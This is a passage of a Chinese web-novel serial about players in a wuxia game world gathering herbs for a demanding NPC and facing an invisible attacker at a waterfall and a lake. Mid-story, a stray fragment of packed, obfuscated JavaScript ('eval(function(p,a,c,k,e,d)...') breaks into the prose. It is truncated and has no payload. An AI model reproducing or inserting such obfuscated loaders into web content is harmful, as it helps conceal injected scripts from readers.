翡翠瑶池的地形,整体上是南高北低,这就意味着,在最南边的甲子湖和乙丑湖地势较高,而北方的甲丑湖和乙子湖地势较低,四口湖泊之间呈阶梯状分布。此外,各湖之间相对隔绝,分列东西的甲子湖和甲丑湖距离最远,乙子湖虽然位于地图中心,但与甲丑湖之间隔着重重稠密山林,地图上看起来距离甲子湖和乙丑湖也很近,但事实上不在同一海拔高度,之间也有断崖瀑布作为阻隔;甲子湖和乙丑湖之间更是有一道瀑布横贯。 当然,这些都是大家在分队行动之前的分析,柳七刀一开始听得认真,但湖出现的次数越多,他的大脑就越乱,什么子子丑丑的全混在一起,搞不明白了,他甚至怀疑落难侠客起这种看起来便于分类的甲乙子丑,就是为了把玩家绕晕。 “总而言之,记住又大又远的是甲湖,又小又近的是乙湖,越往南,地势越高,这就行了。”裴洛川干脆总结道,“要用到的时候自己往里套公式。” 都这么说了,裴洛川这一队肯定是没问题了。柳七刀又看向其他人,有仇非和师襄的那一队肯定不担心,叶九溪还笑嘻嘻跟他比了个加油的手势;祁云纵和谢不若在付井仪的队伍里,这两人一看就是连听都没怎么听,至于自己这队…… “你记住了吗?”方叱羽问亓秀秀。 “别跟我说话。”亓秀秀捂住耳朵,念念有词,“甲丑、乙子……不对,是甲子乙丑……” 他又和曲小蕨对上目光,都不用说话,两人一看对方清澈的目光心里就有数了,纷纷转头看向殷炽。 殷炽沉默,指了指他们不远处的那口湖,无奈道:“这就是乙子湖。” 亓秀秀松了口气:“还好我们还剩个认路的。” 原来他们就在乙子湖的湖畔。柳七刀避开随地大小睡的落难侠客,站到岩石上看了看,发现这“面积小”的乙子湖其实一点也不小,靠近山林的一侧全是密密麻麻的怪石林木,而另一侧一眼望过去茫茫无际,湖水明净,碧水蓝天相接,云好像浮在地面上,看不出哪里是水、哪里是天,只有当风在湖面上掠起微澜的时候,才能分辨一二。 别的不提,单论风景倒是很美。 “其实浪客行还是给了一点提示的。”那边,仇非道,“凝血草的物品说明里写了,‘隙有灵草’,也就是说它应该是生长在岩石缝隙中的,我们多往这个方向去搜索。毒清草应该也有相同的提示,大家多留意一下。” 六百株药草听起来吓人,但均摊到每一个玩家头上只剩三十株,在有提示的情况下,用一天的时间找到三十株药草还是绰绰有余的,但问题就在于,这个任务肯定还有其他潜藏的危机。 比如说,这地图里可能潜藏着毒物和野兽,而“夜晚”被颂命单独提出来过,也许会有鬼;虽然目前没有发现,但也不能排除人机玩家也进入了这张地图的可能。 他们正在商讨着,越说越感觉翡翠瑶池危机四伏,没有一块地方是安全的,这时候,落难侠客又悠悠转醒了。 对上他不可置信的眼神,玩家们心里就是咯噔一下,瞬间有了不好的预感,心道这玩意才是最大的危险。果然,还不等众人说话,落难侠客一张嘴就是一口血喷了出来,一边螺旋喷血一边还要在换气的间隙里上气不接下气地指责: “各位……为何……还没行动!难道要我……暴毙而亡……!” “……先别。”唐逐星压着性子,拦了一下要上前检查的龙葵,“看看他是装的还是真的要死。” “这也太吓人了。”曲小蕨捂着眼睛,从指缝里小心翼翼地打量着。 看到玩家们没有立刻行动,落难侠客表示自己心痛如绞,他抓着胸前的衣服,脸色惨白,口中吐出的血大片大片地打湿了衣襟,没多久,人就已经虚弱得只剩一口气了,还真不像是在开玩笑。 “走走走走!”亓秀秀受不了了,崩溃道,“我们走还不行吗!” “多谢……”落难侠客倒是从善如流,一听到亓秀秀说要走,顿时回光返照,气若游丝地抓起身边那株凝血草塞进嘴里嚼了两下,脸色以肉眼可见的速度恢复红润,“还差三百株。” ——想了所有可能,万万没想到凝血草还是消耗品。 “别拦我了,我真的要一剑劈了他。”师襄暴怒,“所以这个任务是我们一边找他一边吃是吗!” 落难侠客吃了凝血草,盘坐在地,双目紧闭,似是在自行疗伤。除了一言不合就要暴毙而亡之外,他倒是也没脾气,回答道:“正是,所以还请各位加快速度。” 说着,他嘴角边就缓缓流下一行血来:“我又需要凝血草了。” 李千驰目瞪口呆:“你是牛吗?你倒是吃慢点啊!” “走。”付井仪当机立断,立刻招呼大家离开。 “所以我们还要将落难侠客的消耗算进去,而且不能离他们太远。”分别前最后同行的这一小段路,仇非语速飞快,“也就是说不能攒够六百株才回来,中间必须有人来给他送药草,否则他也有可能不知不觉地就死了。” “如果刚刚分完队立刻动身的话,他会经常吃药草的这个线索,就会被我们遗漏。”陆厌想到了另外一层,“落难侠客是个很有自己想法的大活人,换句话说,是个不可控的因素,这就有点麻烦了。” “你不是想把他变成死人吧。”卫山河嗅到了危险的气息。 陆厌无奈地一摊手:“我什么都不做,他自己就会死的。” “那就交给我们吧。”乙子湖队伍离落难侠客直线距离最近,曲小蕨举起手,包下了这个任务,“我们每攒够一些药草就拿去给他,虽然麻烦点,但至少能保证他死不了。” 目前看来也只能这样了,好在他们这队有方叱羽在,来回也能方便一些。 ——千算万算,没算到落难侠客是头牛。 一切就绪,众人各自踏上寻找药草的路途。从地图上来看,乙子湖已经是四口湖泊中面积最小的一口,但玩家们即使站在湖边,也仍然看不到这片湖的尽头,足以想见整张翡翠瑶池的地图该有多么庞大。 正因如此,乙子湖的这支临时小队也不得不再次分开行动,分别对湖畔、对岸以及山林进行搜索。 柳七刀负责的就是临山的部分,曲小蕨本来想和他交换,被柳七刀拒绝了——林重山深,危险防不胜防,有刀墙傍身,无论是进攻还是防守都更妥帖一些。和队友们道过别后,他便提着新亭侯,顺着横斜的山势,从湖边一路向上进行寻找。 白天的山路依然崎岖难行,怪石嶙峋,枯木横生,及膝高的草丛里偶尔能看到被他惊动的野兔窜过,手臂粗的蟒蛇盘在路边横倒的老树上,嘶嘶地吐着信子。 这翡翠瑶池的生物链显然很完整,虽然不乏具有攻击性的野兽,但它们或许是从柳七刀身上感受到了不好惹的气息,都没有选择主动发难,要么逃走,要么便保持着安全距离警戒地观望着。当然,也有被吓得慌不择路的小东西,比如这只不知道从哪儿直接蹦到他头上的蟾蜍——柳七刀无奈地停下脚步,将它轻轻放到一边的岩石上。 在山林里行走,时刻都要动,他的步伐刚一停顿,草丛里的虫蚁螽螟便成群结队地往身上扑来。还好经过了浪客行的历练之后,玩家身体的结实程度也大大提高,寻常的蚊虫叮咬根本就刺不穿他的皮肤,但数量一多,如同黑雾一般缠在身边,还是十分烦人。 他从仓库里取出火折子点上,驱赶半空的飞虫,听着焚烧时噼噼啪啪的声音,心里不免有些焦躁。 凝血草暂且不提,毒清草还没有见过,没有黄字,根本就不知道它的生长环境,只能大海捞针一般去搜索;而且“毒清”这个名字听起来就非常不妙,简直就是在明示玩家们,落难侠客大概率还中了什么毒,没有及时吃到毒清草就会暴毙而亡。 ——这NPC简直比大攻防穿全套PVE站在最前排对冲还脆,好像轻轻一碰就要嘎嘣碎一地,偏偏又是跟完成任务牢牢绑定在一起的关键NPC,眼下最重要的就是保住他的牛命。 救一个人似乎很简单,但关键在于,这人到底是不是真心想活。虽然那种命悬一线的状态并不是装出来的,但柳七刀总感觉,落难侠客虽然嘴上催着玩家们找药草救他的命,但内心对自己的死活好像也没那么在意,表现轻佻得让人有点反感了。 自从进入浪客行以来,玩家们无不是在生死边缘如履薄冰,对生命的珍视自然不必多说。遥想初次面对人形红名怪时,他们还为了要不要把NPC当成人来对待而反复纠结、无措、踌躇,但人家NPC呢?无论是荒雪路的东瀛浪人们还是华清宫的琴师阮珏,再到今天这翡翠瑶池的落难侠客,这些NPC简直是从骨子里就散发着一种轻视生命的气息,好像玩家们最宝贵的东西,只是他们的一枚筹码。 相较之下,连一饿就面目狰狞满嘴利齿追着要咬玩家屁股的小谷都比这些NPC可爱多了。 可惜,发牢骚归发牢骚,眼下还是得给落难侠客卖命。柳七刀收起火折子,用刀背挑起游走到他脚边的蝮蛇甩到一边,目光在扫过身边巨岩的时候却忽然定住了。 他简直不敢相信自己的眼睛——就在他歇脚的这块山岩的下方,一大簇凝血草,就那样挤挤挨挨地在那里随风飘摇着,似乎在召唤他赶紧过去采撷。 真的假的,这不对吧? 一声嗡鸣,新亭侯已然出鞘。刀光冷寒,杀气森然,直映白日,惊得枝头群鸟扑簌簌地在林间横冲直撞,而柳七刀只是保持着备战的姿势,全心全意地感受着林间的风吹草动。 没有异常,就连之前在树丛后虎视眈眈的几只野兽也被他拔刀吓走了。柳七刀一皱眉,为了保险起见,他又落了个小圈把自己框在里面,这才将手伸向那簇凝血草。 隙有灵草,可生骨肉,可凝败血,其效立现…… 属于凝血草的黄字说明自动浮现在脑海里,这是造不得假的。 这一簇凝血草共有六株,柳七刀不仅没有欣喜,心中的疑惑反而更甚。这种疑惑,在他一扭头,又在路边发现和陆厌画的那抽象图标几乎完全一致的毒清草时,达到了顶峰。 “中谷有枝,樵猎皆晓,蓄而成药,可清诸毒。” 柳七刀捏着这紫瓣黄蕊的毒清草,感受脑海中的说明,百思不得其解。为了确保这不是什么幻觉,他先是狠狠地掐了自己一下,又洗了驱散放了个散流霞,一通折腾下来,除了把已经跑远的原住民们吓得更加迅速地撒腿逃窜,什么都没有发生。 这就很奇怪了。 他将校服下摆拉起来做了个小兜,开始往里装药草。 本以为落难侠客布置这个任务是要从时间和数量上折磨玩家,但是现在看来,它未免也太简单了,相较于他们在前几天遇到的那些困难,根本不值一提。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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昨夜没有月光,一片漆黑,柳七刀什么也看不真切,此刻再看这瀑布,他只佩服自己当时的胆量,不由一阵后怕——这段山崖也只是堪堪比刀墙的长度短了那么一小截而已,要是一步踏错,那恐怕真会掉下山崖,要么在突起的岩石间摔得粉身碎骨,要么被卷入暗流无法挣脱。 他收回目光,刚要继续赶路,却在如惊雷炸响般的水声中,又隐约捕捉到了另外一种模糊的声音。 那声音十分飘忽,几乎被淹没在瀑布的倾泻之下,与其说他是听到,更不如说是感觉到的,如果不是他一直保持着十足的戒备,或许就会错过。 这感觉和那些野兽不同,柳七刀本能觉得不对,四处打量,选了一块稍高一点的山岩跃了上去。 被水流反复冲刷过的岩石又湿又滑,根本无法立足,他用新亭侯插进岩隙间稳住身体,终于听清了,那竟然是一种不曾间歇过的、尖锐而急促的啼鸣声—— 柳七刀悚然,他分明看到一只游隼像箭矢一样破开水雾冲了出来,正是尹有攸的赤箭,只是它似乎受了伤,半扇翅膀微折,挥动得十分艰难,速度却未减分毫。 他循着赤箭飞去的方向看去,心顿时凉了半截。 先前隔着水雾没看清楚,这会儿再看过去,那悬崖上竟还有一个人。逆着光,距离又十分遥远,他根本看不清那是谁,但那人居然正一步步朝悬崖边走来。 不过转眼之间,赤箭已经飞到那人身边,不停地将那人向后拽去,只是以一只游隼的力道根本无法撼动人分毫,那人似乎也感受不到赤箭的拉扯,眼看着已经走到了悬崖边上,步子也没有半分停顿。 “别往前走了!”柳七刀大骇,此时他也终于看清了那人的面容,惊叫道,“尹有攸?!” 夕照下,尹有攸神色平静,目光不知注视着哪里,直直地迈出了悬崖前的最后一步,在赤箭焦急的叫声中,脚下一空,顿时向下坠落! “靠!” 柳七刀脑海一片空白,几乎没有任何思考的时间,他拔出插在岩缝间的新亭侯,用尽全力朝崖边几棵歪歪斜斜的粗壮老树砍去! 这一击毫无保留,刀气过处摧枯拉朽,老树应声而倒,柳七刀紧接着飞起一脚,将其中朝外倒下的树干又接连踢了回去,几段树干彼此冲撞,堪堪横阻在山崖之间,瀑布水流被短暂壅塞一刹,他踩着树干飞扑过去,将将横撞上了摔下来的尹有攸,两人一同摔飞出去! 树木折断的声音几乎一瞬间盖过了瀑布的水声,二人接连撞断了两三段树干才停住下坠的势头,双双砸在最后半截横在崖间的树上。就算这瀑布边上生长起来的老树足够有韧性,但受到了坠落的冲击,又承载着两个人的重量,顿时也摇摇欲坠起来,发出了危险的吱呀声。 柳七刀浑身疼痛,一时半会根本爬不起来,听着那恐怖的、缓缓断裂的声音,心都凉了半截。就在这时,头顶一声清鸣,他还没反应过来,后背的衣服便被疾夜的钩爪提住带了起来,旁边伏在树干上生死不明的尹有攸也被它轻轻一甩头,轻盈地抛上了雕背。 方叱羽到了。 柳七刀总算是松了一口气,抬头向上看,正对上方叱羽朝下探头,对方眼里的震惊不比他少。 “这是怎么了?” “我也想知道。” 柳七刀由衷道。疾夜已经飞得很高了,他朝下看去,那几段合抱粗的树干已经尽数跌落了下去,在瀑布底端的漩涡中浮浮沉沉,眨眼间便撕扯得四分五裂,随暗流卷向更深的水底。 69. 第七天·翡翠瑶池(六十九) “三百株凝血草和三百株毒清草都在这里了,你又说你要什么劳什子伤阳草?你是瞎了吗?看不到有人都因为你受伤了吗?” “咳咳——没有伤阳草我会暴毙而亡的。” “可是我当时就在湖畔的树林里,真的一点声音都没有听见……” “这是怎么了?” “你终于回来了,快来帐篷这边!” “天都黑了,他是要我们现在立刻出去采集伤阳草么?” 晚霞渐渐隐没在山林的背后,柳七刀咬着绷带坐在岩石上,绕过自己被划伤的手臂,面前营地吵吵嚷嚷,所有人都忙成一团——龙葵刚回来就被拉进帐篷里查看尹有攸的伤势,师襄在指着落难侠客的鼻子骂,剩下的人有在努力分析情况的,有围在帐篷旁边关心队友的,还有满腹怨气帮着落难侠客数草药的。 乙子湖是距离营地最近的湖泊,先前他和方叱羽带着尹有攸回到营地时,这里还空无一人,只有落难侠客在专心致志地捣药。安全教育常识说高处坠落可能会伤到脊椎,龙葵不在,他们也不敢随便搬动尹有攸查看伤势,只能先搭好了帐篷,固定好脖颈让他平躺在里面,简单地处理了一下身上的伤口,又喂了点凝血精。 落难侠客规定,天黑前所有人都要回到营地,很快,其他队伍也陆陆续续地回来了。看到眼前的场景,大家如何震惊后怕自然是不用多说,柳七刀光是一遍遍解释来龙去脉,也说得嗓子都要冒白烟了;偏偏落难侠客又趁乱作妖,先要清点小山一样的药草数量,又要去湖边寻找“伤阳草”,时不时地还往外喷两口血,总之,在一片混乱之中,天色也一点点地暗了下来。 山间浮起墨蓝的雾霭,随晚风缓慢地向湖畔流动着。和柳七刀同样坐在岩石上发呆的还有殷炽,暗红的长围巾遮住了他的半张脸,只留下一双漆黑的眼,落日的余晖像跳动的火苗,在他的眼睛中缓缓熄灭。 “你想什么呢?”柳七刀问他。 “‘雪泥鸿爪,屐齿苔痕,世界上一切存在和发生过的事情,都会留下它们的痕迹。’我们刑侦老师说的。”殷炽望着暗色的天幕出神,道,“甲子湖那边有付井仪、祁云纵、谢不若、龙葵,整整四个人,就算分头行动了,怎么可能一点打斗的声音都没听到呢?” “那你老师还怪文艺的嘞。”柳七刀说。 他也在想这个问题。甲子湖队伍里有饿了么的三个人,队友的实力如何,柳七刀心里还是有数的,如果真发生了什么,他们仨绝不可能一无所知;但诡异之处就在于,他们四人都说,真的一点声音都没有听到,甚至祁云纵当时就在离瀑布不远的树林中,却没发现任何异常。 他回想起当时的情景,脑海里闪过尹有攸平静的表情和没有焦点的眼神,还有悬崖前没有半点波澜迈出的那一步,那绝对不是自然状态下人会有的反应。 精神系?控制类?所有的线索,都指向“没有发生过打斗”这一种可能性,袭击他的东西手段非常特殊,要么隐秘到了极致,要么根本就无处溯源。 “我想回瀑布那边看看,万一有线索呢。”殷炽道,“敌人不可能是凭空出现的吧。” “不行!”那边,师襄的声音更大,“合着你让我们在天黑之前回来就是为了在晚上继续使唤?” “这也不是在下的本意啊。”落难侠客被她堵在角落,一手捧心,一手捂嘴,做弱不禁风状,“伤阳草、伤阳草,顾名思义,这草在白天是采不到的,各位肯帮忙我已经是感激万分了,要是这药草能在日间生长,也不至于现在麻烦各位。” 众人对落难侠客怒目而视,可惜他似乎没有感受到这滔天的怨气,还想继续说下去,这时候,龙葵掀开帐篷帘子探头出来道:“尹有攸醒了。” 听到这个消息,玩家们一窝蜂地朝帐篷涌去,顿时没人关心落难侠客的辩驳了。他耸了耸肩,也不生气,不知道从哪儿摸出套药臼和药杵来,一下一下地捣着毒清草。 笃、笃、笃。石杵砸在石碗上的声音短促而清脆,落难侠客抱着药臼,看着玩家们的背影,嘴角勾起的弧度越来越大。 “有意识,就是不受控制。” 脑袋上包了一圈绷带的尹有攸刚醒,就享受到了柳七刀之前的待遇,被一群人抓住翻来覆去地追问,眼神比跳崖那会儿还迷惘:“声音吗……瀑布水流太大了,没听到其他的声音。” 柳七刀刚把头探进去,就看到亓秀秀临出帐篷前还不死心地追问道:“你再仔细想想,真的没注意到任何异常吗?” 尹有攸努力回想却一无所获,面露难色,简直都要让人幻视那个抱头长啸的猫meme了。付井仪就坐在一边,此刻也无奈道:“算了,想不起来就别想了。” 尹有攸松了口气,转头看到柳七刀,认真跟他道了声谢,翅膀被包扎好的赤箭窝在他腿上,湿漉漉的眼睛看着柳七刀,也像是在表达感激。 柳七刀摆摆手,顺便摸了把赤箭的脑袋:“没事,都应该的。倒是你怎么样了?” “全是外伤,都不打紧,就是可能有点脑震荡,想不起来之前的事也正常。”龙葵抱着臂倚在帐篷外边,笑道,“还得多亏了你,扑救很及时。” 柳七刀一乐,这话他爱听,不过付井仪和尹有攸还在旁边呢,他只能强行把咧着的嘴合起来,换了个话题:“你看到非姐没?” “在后头拷问谢不若和祁云纵呢。”龙葵一摊手,“真邪了门了,我是一点异常都没发现,对吧,付老师?” 付井仪点了点头。 甲子湖队伍就是由谢不若、祁云纵、龙葵、付井仪和尹有攸这五个人组成的,按理说,他们的战力智力和续航能力都不容小觑,偏偏第一个遭到袭击,还没有发现任何线索。这绝对不是什么好兆头,再结合颂命信中最后的那句警告,虽然没人明说,但对未知的不安,已经像暴风雨来临之前的阴云一样,悄悄地笼上了每个人的心头。 “我可以和殷炽去那边再看看,说不定会有发现呢?”柳七刀说。 “哈,别看了,你们有任务了。” 师襄掀开帐篷门帘一角,凉凉道:“那牛精刚刚说了,体谅我们白天忙了一天不容易,允许两支队伍留下休息,剩下两支队伍出去找伤阳草……很不幸,你们这两队,甲子湖和乙子湖,带回来的草药数量是最少的,所以他点名要你们去,包括受伤的你和尹有攸。” 她说这话时面色还算平静,但语气十分危险,柳七刀觉得等他们完成任务的时候,落难侠客八成要挨一顿暴揍;不过现在,听到这样的安排,他只觉得荒谬: “体谅我们?那为什么偏偏点有伤员的两队?” “你觉得呢?这玩意就跟第五天的‘鬼’一样,和我们根本不是一路人,他在帮助的是那股看不见的敌对力量。”师襄冷笑道,“我估计,他身上应该也有什么规则限制,比如不能对玩家直接出手之类的,不然,恐怕恨不得直接把我们的命送到对面手里呢……” “那我们就这么去吗?这不是知道有坑还往坑里跳?”柳七刀皱眉,又问尹有攸,“你行吗?” “我没问题。”尹有攸说,把赤箭抱起来举到眼前,对它认真叮嘱道,“你休息。” “放心去,我和仇非商量好了,你们去找伤阳草的时候,我们这边会分出去几个人暗地里跟上,正好试探一下,脱离了落难侠客的视线之后再违背他的安排,他还会不会动辄要死要活。”师襄一字一顿道,“顺便看看,他到底是不是任务里的,落、难、侠、客。” 再拂开帐篷门帘出去的时候,天已经完全黑了下来,淡淡的月光落在林间池边,说不上清辉千里,但也比之前那种伸手不见五指的状态要好太多了。 营地前升起了两堆篝火,大家都围着篝火坐着,行守站在中间,正在做战前思想动员:“总之,我们就主打一个见招拆招,兵来将挡、水来土掩。如果他提出了很离谱的要求,那我们……” 柳七刀一眼看到谢不若和祁云纵中间给他留了个空位,刚走过去坐下,就看见落难侠客也好奇地探头来听。行守余光也瞥见了,话锋一转,便道:“我们就要做到精准施策,灵活响应,对齐颗粒度,形成供求关系之间的良性闭环。” 落难侠客听不懂黑话:“?” 曲小蕨也没听懂,小声问付井仪:“啥意思?” “见机行事,随机应变。”付井仪说。 柳七刀跟着听了一耳朵,心道原来如此,这时候旁边祁云纵忽然举手提问:“那我们该如何统筹活动周期、整合大众力量呢?” 谢不若和柳七刀唰地一下就把头转过去,匪夷所思地盯着他,有一种同宿舍好兄弟背着自己偷偷报名了国考并怒刷申论三千题的感觉。 “问得好。”行守表扬道,柳七刀看他感觉就像看到了拿着麦克风的成功学大师,“这就要求我们高效导流,深度布局,跟进合作体系,打好明暗组合拳。” “啥意思?”曲小蕨又问。 “一路在明,一路在暗,一起阴他。”唐逐星答。 落难侠客还不知道自己要被阴了,不过倒也不妨碍他继续给玩家们找事,听不懂就捂着心口,开始催促玩家们出发去寻找伤阳草。 “服了,刚坐下没两分钟。”谢不若骂骂咧咧,双手按着柳七刀和祁云纵的肩膀发力站起来,从手劲上就能感觉到他的怨气冲天,“还是去那两个湖吗?” “那倒不是。”落难侠客这次竟然也不绕圈子了,很干脆地告诉他们,“伤阳草最喜生长阴水之边,这里地势低洼之最当属甲丑湖,又在山阴之处,想必各位一定有所收获。” “甲丑湖?” 不光是被点名去采集伤阳草的两队人,原本被分配在甲丑湖的队伍也坐不住了,仇非眉头紧皱,叶九溪更是拍大腿而起,怒道:“你脑子是不是有问题啊,要去甲丑湖为什么不找我们,要让他们两队带伤摸黑去?” “今日的确是这几位侠士带回的草药数量最少,只是依公平行事罢了。”落难侠客缓缓捂住心口,一副又要吐血的样子,“伤阳草也只需三百株,天亮前带回就行,对各位来说难道不是小菜一碟么?” 只要三百株啊,那还行…… 柳七刀悲哀地发现,他已经被落难侠客pua成功了,竟然不觉得这个任务有什么问题。 甲丑湖,位于整个翡翠瑶池的东北边,是地势最低、面积也最大的一口湖泊,距离营地最远,地形也最复杂,三面临山,所有的瀑布最终都会汇入到这里。从营地出发,要走整整两三个小时才能进入甲丑湖的范围,夜里山路难行,只会花费更多的时间。 白天负责搜寻甲丑湖的五人,分别是仇非、叶九溪、唐逐星、师襄和卫山河,他们也是使出了浑身解数,恨不得把关于甲丑湖的所有情报都灌输到两队人的脑子里;可惜的是,他们花费了整整一天工夫所探寻到的,也只是甲丑湖的冰山一角。 眼看落难侠客又有吐血征兆,没法继续拖延下去,大家也只能忧心忡忡地看着那几只火把的微光在密林的遮蔽下时明时灭,蜿蜒前行,渐渐地消失在黑夜之中。 和白天一样,这一路最初可以说是十分顺利——如果说夜路一个人走容易有危险,十个人走在一起,那声势可是相当的不得了。一路上遇到的各种飞禽走兽都非常自觉地避让这支庞大队伍,连恼人的飞虫也被龙葵捏碎洒在火把里的药草熏走了;甚至他们还有尹有攸这个人形雷达,只要保持相对安静,连路过的野兔都能在第一时间被察觉到。 但越是这样,众人心里反而越疑惑,对袭击者的神秘手段猜测便越多。 就这么埋头赶路不知道多久后,尹有攸停下脚步,侧耳辨认了一下,确定前面隐约有瀑布的声音,他们应该已经进入了甲丑湖的范围,可以开始寻找和采集伤阳草了。 吸取白天的教训,这次就算分头行动大家也不敢单独走了,约好两人一组,而且不能离得太远,始终保持在彼此呼喊都能第一时间听到并响应的距离之内。 柳七刀和龙葵分在一组,甲子湖瀑布那件事始终让他心有余悸,每过一会儿就要回头四处看看,直到看到黑暗中晃动着的其他四个火把光点才能放下心来。十人五组,以一种W字的队形,一边搜索着脚下的杂草丛,一边缓慢地向甲丑湖前进着。 如果他们此时不是身在危机重重的浪客行中,那这个夜晚,姑且还算是宁静而美好的。不多时,柳七刀和龙葵就走到了湖边,空气中漂浮着湿润的水汽,淙淙水声中夹杂着清亮的虫鸣,月色浅淡,夜风轻柔,一副祥和的景象。 柳七刀擎着火把,龙葵蹲下来,也不嫌水边泥泞,开始埋头在那一堆在柳七刀看来全部是杂草的草丛中苦找起来。 “伤阳草……有了!” 不到一盏茶工夫,龙葵就拎着一株叶茎细长、结着红果的药草开心道 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火把入水,化作一缕白烟。柳七刀呛了一口水,忍受着肺部的刺痛和窒息感的同时,他发现自己根本就站不起来,这湖水冰凉刺骨,而且水下暗流汹涌,强大的暗潮像钢筋一样缠住了他的四肢,正将他卷向黑暗的湖底。 正当他感觉要糟时,后颈衣领处传来一股巨力,硬生生将他拉回了岸边。 “你虎啊!”龙葵惊鸿掠水接回风微澜,愣是将柳七刀从湖中扯了回来,气得踹了他一脚,破口大骂,“别整那葫芦娃救爷爷的事!” 柳七刀也知道这次鲁莽了,赶紧爬起来,抹了把脸上的水,跟在龙葵后面朝谢不若和祁云纵那里跑去。 对面的火把熄灭之后,他们没有办法再进行距离的判断,只能通过嘈杂的水声定位,又不敢再踏入湖中,只能绕路顺着湖畔过去,一边跑一边喊其他人。然而,刚刚还在附近的队友们,此时都不知道走到哪里去了,也看不到其他火把的位置。柳七刀急得要发疯,还好黑暗中那混乱的水声一直没有停过,能让他知道谢不若和祁云纵大概率还在扑腾着,没被卷入湖底。 很快,借着龙葵手中火把的光亮,他们终于看到了谢不若和祁云纵二人——祁云纵死命扯着谢不若,想往岸边游去,却被水下的暗流次次推回湖中。 “柳七刀!”祁云纵也看到了他们,立即大吼道,“别管我们快去追!刚刚有人推了谢不若,逃进树林了,别让他跑……” 浪花一翻,祁云纵没说完的话被湖水灌进嘴里,变成了咕噜咕噜的尾音。 柳七刀浑身一震。 袭击者终于现身了! 这么重要的时候,其他人为什么消失了?他无暇细想,刚要拔足去追,看到还在湖中挣扎的祁云纵和谢不若,脚步又一顿,转头看向龙葵:“你……” “放心,一定给他们拉上来。”龙葵的指间已经夹上了几枚泛着淡淡绿光的种子,坚定道,“你去追!我们马上跟上!” 柳七刀一咬牙,道了声好,电光一闪,已经用最快的速度朝黑暗的树林中冲去! 一切都太突然了,他们才刚刚找到了伤阳草,竟然立刻就遭到了袭击。绝对不是偶然,这明显是一场伏击,无论如何,他今天必须把偷袭的人找出来! “还好吗?再坚持一下!” 龙葵甚至来不及分出余光给柳七刀消失的背影,立刻伸手按在地面催发种子,茂盛的枝叶破土而出,一端缠在她的腰间,另一端则牢牢与岸边的矮树固定在一起。 她心里也慌得很,谢不若已经很久没出过声了,现在连祁云纵都没有动静了,脚下一点,便向湖面掠去,一把抓向祁云纵的手臂。 然而,就在她离开岸边时,余光忽然扫到草丛里一抹斑斓的艳色。 那抹突兀的色彩一闪而过,在视网膜上留下了短暂的一道烙痕,当龙葵反应过来那是什么的时候,心跳顿时空了一拍。 ——蓝黄相间的羽毛夹杂着零星血迹从岸边一路散落,凌乱地漂浮在湖中。 下一秒,她明明已经抓住了祁云纵的手臂,正要将他和谢不若拉出水面,却有一股巨大的力量从手底下传来,瞬间将她反拽进了刺骨寒冷的湖水之中,与此同时,她感觉腰间一凉,低头看去,那坚韧无比的藤条已经被齐齐斩断,连同着腹部汩汩流出的鲜血,在水中四逸开来。 另一边,柳七刀提着新亭侯,在树林中穿梭。袭击者大概是慌不择路了,硬生生穿过茂密丛林,一路草折树断,留下了十分明显的痕迹,黑夜中在火把的照耀下无处遁形。 他心头憋着一股邪火,再度提高速度,不多时,就听到前面传来窸窸窣窣的杂乱响动,那人就在前方不远处,火把晃动之下,照出了一道在不断跳跃前进着的黑影。 追上了! “给我停下!”柳七刀怒喝一声,跃起的同时用力向身前挥出一击,寒光如霹雳闪过,前方二十尺的草木在冲击中以摧枯拉朽之势被连根翻起,尘埃飞扬之中,他手中的新亭侯一翻,一道楚河汉界横亘出去,幽蓝的刀墙拔地而起,顿时截断了袭击者的去路。 这下总逃不掉了吧。 柳七刀收刀入鞘,吐出胸口浊气,高举火把,朝刀墙下看去。 在火光的照耀下,那里空空荡荡,什么都没有。 “怎么可能?!” 柳七刀一惊,来来回回检查,周围的林木倒的倒、折的折,几乎被夷为平地,又有刀墙拦截,袭击者速度再快,也不可能瞬间越过刀墙脱离他的视线,总不可能是钻进土里逃掉了吧? 他不信邪地又往前找了一段路,这才大为震撼地确信了,那诡异的袭击者就是在他的攻击下凭空消失了,前面的山林中再也没有留下之前的那种痕迹。 但是这怎么可能?柳七刀握紧刀鞘,心中一团乱麻,如果袭击者有这么高超的手段,为什么不在攻击谢不若和祁云纵之后就立刻脱身,还要逃窜这么久? …… 他心忽然凉了半截,转头向来路看去。 刀声沉闷如滚雷,但身后仍旧是一片漆黑,并没有其他队友闻声赶来,按理来说从湖中脱身便会立即追上来的龙葵三人也不见踪影。 他气得牙痒痒,恨不得给自己一拳。 柳七刀啊柳七刀,你可真是个傻子!中了敌人的调虎离山之计了! 70. 第七天·翡翠瑶池(七十) 曲小蕨一手举着火把,一手捏着一小把伤阳草,怔怔出神。 “怎么了,小蕨?”亓秀秀蹲在湖边掬了捧水,将连泥带土的药草冲洗干净,转头就看到她在发呆,压低声音问道。 曲小蕨回过神,把自己手中的药草也递给她:“我在想……不知道其他人那边顺不顺利。” “应该还好吧?”亓秀秀三步并两步,轻盈地跃上岸边一块巨石,向远方张望。 四五个代表着火把的红色光点在视野的边缘缓慢移动,始终没有脱离她的视线,所有人都在按照一开始既定的路线,平稳地向前推进着搜索的步伐。 只是他们越走,就离瀑布越近了,轰隆隆的水声充斥着耳朵,有种震耳欲聋的感觉。经过了白天那件事,亓秀秀对瀑布没有什么好感,但无奈她们的位置是W字中间的那部分,在左右两边都在往前走的情况下,也只能保持着原队形继续前进。 “带头的付井仪和尹有攸都觉得没事的话,那就这么走吧。”她叹了口气,对曲小蕨道,“只有这样,才能吸引到暗中的袭击者。” ——没错,既然落难侠客给了他们两队人一起行动的机会,玩家们也不是坐以待毙的性格,明知道暗中潜藏着袭击者,怎么可能不会借机反击呢? 这个W字队形,其实是经过精心设计的,以付井仪、尹有攸和方叱羽、殷炽为左右两个端点,亓秀秀和曲小蕨居中,而柳七刀、龙葵和谢不若、祁云纵分别殿后,控制距离、分散行动,每三队之间就能够彼此相望,既能让袭击者觉得有机可乘,又可以确保任何一方出现问题时,其他小组都能迅速进行支援。 虽然理论设计得很好,但是放到实践里,由于翡翠瑶池的地形限制,遇到有些越不过去的水泊或山岩,W字也会被迫大变形,偶尔出现落后的情况,但整体的规划还是没怎么改变的。 